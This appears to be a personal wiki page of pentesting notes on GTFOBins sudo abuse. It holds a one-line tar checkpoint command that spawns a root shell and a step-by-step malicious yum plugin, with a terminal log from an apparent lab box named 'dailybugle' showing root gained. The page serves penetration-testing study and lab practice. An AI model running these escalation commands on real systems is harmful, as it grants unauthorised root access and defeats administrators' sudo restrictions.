

Get the fuck out

GTFOBins

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to get the fuck out, break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain binaries available.

<https://gtfobins.github.io/>

TAR allowed as SUDO

When you are on a server. The command **sudo -l** list the allowed (and forbidden) commands for the invoking user. If you are lucky you are allowed to execute tar as SUDO.

To gain root access simply enter this command:

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

<https://gtfobins.github.io/gtfobins/tar/>

YUM allowed as SUDO

When you are on a server. The command **sudo -l** list the allowed (and forbidden) commands for the invoking user. If you are lucky you are allowed to execute yum as SUDO.

```
[jjameson@dailybugle ~]$ sudo -l
^[[3~Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
LC_ALL LANGUAGE LANGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum
```

Now execute following commands:

```
TF=$(mktemp -d)
```

```
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
```

```
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
```

```
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
    os.execl('/bin/sh','/bin/sh')
EOF
```

```
sudo yum -c $TF/x --enableplugin=y
```

```

[jjameson@dailybugle ~]$ TF=$(mktemp -d)
[jjameson@dailybugle ~]$ cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
[jjameson@dailybugle ~]$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>     os.execl('/bin/sh', '/bin/sh')
> EOF
[jjameson@dailybugle ~]$ sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# sudo -l
Matching Defaults entries for root on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
    LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User root may run the following commands on dailybugle:
    (ALL) ALL

```

Described in the link: <https://gtfobins.github.io/gtfobins/yum/>

After you done this you are allowed to run every sudo command!

Revision #2

Created 9 July 2022 14:38:11 by Togoboi

Updated 10 July 2022 08:27:30 by Togoboi